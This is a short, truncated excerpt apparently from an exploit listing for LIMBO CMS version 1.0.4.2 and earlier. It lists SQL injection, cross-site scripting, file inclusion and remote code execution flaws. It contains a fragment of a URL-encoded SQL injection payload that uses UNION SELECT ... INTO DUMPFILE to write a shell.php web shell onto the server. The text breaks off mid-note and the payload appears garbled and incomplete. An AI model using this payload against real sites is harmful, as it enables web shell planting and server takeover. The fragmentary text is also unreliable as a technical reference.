LIMBO CMS <= v1.0.4.2 _SERVER[] array overwrite / remote code execution

LIMBO CMS = v1.0.4.2 SERVER array overwrite / blind SQL injection / cross site scripting / local file inclusion / path disclosure / remote code/commands execution software: site: http://www.limbo-cms.com/ description: "Putting it in short Limbo is a Content Management System, which allows you to...

limbo1042_xpl.txt

LIMBO CMS '%20INTO%20DUMPFILE%20'fullapplicationpathshell.php'%20FROM%20lmsimplestats/&option=weblinks&Itemid=999/ query becomes: SELECT id,ip,date FROM lmsimplestats WHERE id1 AND ip = '999'UNION SELECT null,'' INTO DUMPFILE 'fullapplicationpathshell.php' FROM lmsimplestats/' note: this works...